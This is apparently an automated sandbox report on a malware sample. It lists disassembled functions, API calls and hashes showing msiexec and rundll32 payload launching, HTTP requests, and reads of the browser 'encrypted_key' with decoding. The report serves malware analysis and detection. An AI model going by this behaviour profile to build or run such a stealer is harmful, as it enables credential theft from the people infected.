Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 006D17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 006D17C5
ExitProcess.KERNEL32 ref: 006D17D1

Strings

block, xrefs: 006D17B7

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: f68a976d9f2e2b2e47f93090a171292122004413b513895019ade9fd598f9de2
Instruction ID: 862bb788fea43ea8a049919203c1984d944faeb39b6145cb0f381f803841a515
Opcode Fuzzy Hash: f68a976d9f2e2b2e47f93090a171292122004413b513895019ade9fd598f9de2
Instruction Fuzzy Hash: 49515CB4E14209FFDB04DFA1D964ABE77B6AF45304F10904AE805AF340D7B0AA52DB62

Function 006D2E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

ShellExecuteEx.SHELL32(0000003C), ref: 006D31C5
ShellExecuteEx.SHELL32(0000003C), ref: 006D335D
ShellExecuteEx.SHELL32(0000003C), ref: 006D34EA

Strings

<, xrefs: 006D3490
/i ", xrefs: 006D33E4
C:\Windows\system32\msiexec.exe, xrefs: 006D34BF
.msi, xrefs: 006D3398
"" , xrefs: 006D309A
C:\Windows\system32\rundll32.exe, xrefs: 006D3332
.dll, xrefs: 006D31E5
/passive, xrefs: 006D345B

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: 81f4a3257660e5dcfbcca03e0f007a539aeedb8882f0262f21ed9ed4ac35750c
Instruction ID: 2beb661ed6d1bc10a935504975ef626a9a6df9fb420f9f708ebd42e96884c461
Opcode Fuzzy Hash: 81f4a3257660e5dcfbcca03e0f007a539aeedb8882f0262f21ed9ed4ac35750c
Instruction Fuzzy Hash: A7124F71C141089ADB55EBE0DC92FEDB73AAF14300F40415EF50666291EF742B4ADFAA

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

Function 6C67C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C67C5A3
WideCharToMultiByte.KERNEL32 ref: 6C67C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C67C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C67CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C67CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C67CAA5

Strings

0, xrefs: 6C67D30A
(null), xrefs: 6C67C596

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction ID: ec663ae348d2d7e35e63457b47664be838fc7f850928f8c79191e0fbf81cf5c1
Opcode Fuzzy Hash: 946298515b47d45dbfcc8824a1bb1790f2a17144965091408ef7e48c0c2a008b
Instruction Fuzzy Hash: 2AA1B230608341AFDB20DF29C59475EBBE1AFC9758F048D2DE99AD3641D731E805CB6A

Function 006D52C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006C6280: InternetOpenA.WININET(006E0DFE,00000001,00000000,00000000,00000000), ref: 006C62E1
Part of subcall function 006C6280: StrCmpCA.SHLWAPI(?,013EE5B0), ref: 006C6303
Part of subcall function 006C6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006C6335
Part of subcall function 006C6280: HttpOpenRequestA.WININET(00000000,GET,?,013EDBF0,00000000,00000000,00400100,00000000), ref: 006C6385
Part of subcall function 006C6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006C63BF
Part of subcall function 006C6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006C63D1

Part of subcall function 006DA8A0: lstrcpy.KERNEL32(?,006E0E17), ref: 006DA905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 006D5318
lstrlen.KERNEL32(00000000), ref: 006D532F

Part of subcall function 006D8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 006D8E52

StrStrA.SHLWAPI(00000000,00000000), ref: 006D5364
lstrlen.KERNEL32(00000000), ref: 006D5383
lstrlen.KERNEL32(00000000), ref: 006D53AE

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Strings

ERROR, xrefs: 006D5432
ERROR, xrefs: 006D53B9
ERROR, xrefs: 006D530A
ERROR, xrefs: 006D546F
ERROR, xrefs: 006D54A9

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: d1bc9a9eee517b2ff5b78b1dacf52d7a8aa9e452fb48d6e9119b5161a44b0316
Instruction ID: 7240392902a083b7faf00f77f1bf54d1900643d39daa44b6765d419a12b955e0
Opcode Fuzzy Hash: d1bc9a9eee517b2ff5b78b1dacf52d7a8aa9e452fb48d6e9119b5161a44b0316
Instruction Fuzzy Hash: 17514C30D141489BCB54FFA5CD92EED377AAF10300F50401EF8065A692EF34AB06DBAA

Function 6C653480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C6534EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C65350E
__Init_thread_footer.LIBCMT ref: 6C653522
__aulldiv.LIBCMT ref: 6C653552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C65357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C653592

Part of subcall function 6C68AB89: EnterCriticalSection.KERNEL32(6C6DE370,?,?,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284), ref: 6C68AB94
Part of subcall function 6C68AB89: LeaveCriticalSection.KERNEL32(6C6DE370,?,6C6534DE,6C6DF6CC,?,?,?,?,?,?,?,6C653284,?,?,6C6756F6), ref: 6C68ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C653508
kernel32.dll, xrefs: 6C6534EA

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction ID: 9855ab1f5cf0ff1ab9f91fc4aabf033d94efc2b8b54de8244a30b0250912f382
Opcode Fuzzy Hash: e061da427ccfffe8b3b9444bf5cfb6c200ce120e6d9a646ebd6fae84dc35615d
Instruction Fuzzy Hash: 5631B371B012469BDF00DFBAC888AAA77B5FB86745F204429F50193A64DB70B905CF69

Function 6C654480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C694843,?), ref: 6C6545F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C694843,?), ref: 6C65468A
free.MOZGLUE(?,?,?,?,?,?,6C694843,?), ref: 6C6546C9
free.MOZGLUE(?), ref: 6C6546EF
free.MOZGLUE(?), ref: 6C654712
free.MOZGLUE(?), ref: 6C654735
free.MOZGLUE(?), ref: 6C654758
free.MOZGLUE(?), ref: 6C65477B
free.MOZGLUE(?), ref: 6C65479E

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction ID: 5853785377ad7fac109c5e2629cf6a5aa9a57433c8303e5361673e4d80730685
Opcode Fuzzy Hash: 42e0285ff12e1b48db14d9e7b7756cdd3e21479a2d910f018ee96b5da21308c6
Instruction Fuzzy Hash: E5B1F671A001518FDB188E3CC8D07BD77A1AF42328FA846A9E416DBBC6D7B1D8748B59

Function 006D12D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 436a6f2b273e88fc9359be118c8706ef253dd06577a3f6e4d7183dc4ef40c681
Instruction ID: 5983bcfcdc9265eb144e0dcd934bf00a971facd8cb3420384ee7355538a4a1c9
Opcode Fuzzy Hash: 436a6f2b273e88fc9359be118c8706ef253dd06577a3f6e4d7183dc4ef40c681
Instruction Fuzzy Hash: 1DC1B5B5D042189FCB54EFA0DC89FEA737ABF54300F00459DF50AA7241EA70AA85DF95

Function 006D4280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006D8E0B

lstrcat.KERNEL32(?,00000000), ref: 006D42EC
lstrcat.KERNEL32(?,013EDC50), ref: 006D430B
lstrcat.KERNEL32(?,?), ref: 006D431F
lstrcat.KERNEL32(?,013ECF88), ref: 006D4333

Part of subcall function 006DA740: lstrcpy.KERNEL32(006E0E17,00000000), ref: 006DA788

Part of subcall function 006D8D90: GetFileAttributesA.KERNEL32(00000000,?,006C1B54,?,?,006E564C,?,?,006E0E1F), ref: 006D8D9F

Part of subcall function 006C9CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 006C9D39

Part of subcall function 006C99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006C99EC
Part of subcall function 006C99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006C9A11
Part of subcall function 006C99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006C9A31
Part of subcall function 006C99C0: ReadFile.KERNEL32(000000FF,?,00000000,006C148F,00000000), ref: 006C9A5A
Part of subcall function 006C99C0: LocalFree.KERNEL32(006C148F), ref: 006C9A90
Part of subcall function 006C99C0: CloseHandle.KERNEL32(000000FF), ref: 006C9A9A

Part of subcall function 006D93C0: GlobalAlloc.KERNEL32(00000000,006D43DD,006D43DD), ref: 006D93D3

StrStrA.SHLWAPI(?,013EDD58), ref: 006D43F3
GlobalFree.KERNEL32(?), ref: 006D4512

Part of subcall function 006C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nl,00000000,00000000), ref: 006C9AEF
Part of subcall function 006C9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,006C4EEE,00000000,?), ref: 006C9B01
Part of subcall function 006C9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nl,00000000,00000000), ref: 006C9B2A
Part of subcall function 006C9AC0: LocalFree.KERNEL32(?,?,?,?,006C4EEE,00000000,?), ref: 006C9B3F

lstrcat.KERNEL32(?,00000000), ref: 006D44A3
StrCmpCA.SHLWAPI(?,006E08D1), ref: 006D44C0
lstrcat.KERNEL32(00000000,00000000), ref: 006D44D2
lstrcat.KERNEL32(00000000,?), ref: 006D44E5
lstrcat.KERNEL32(00000000,006E0FB8), ref: 006D44F4

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
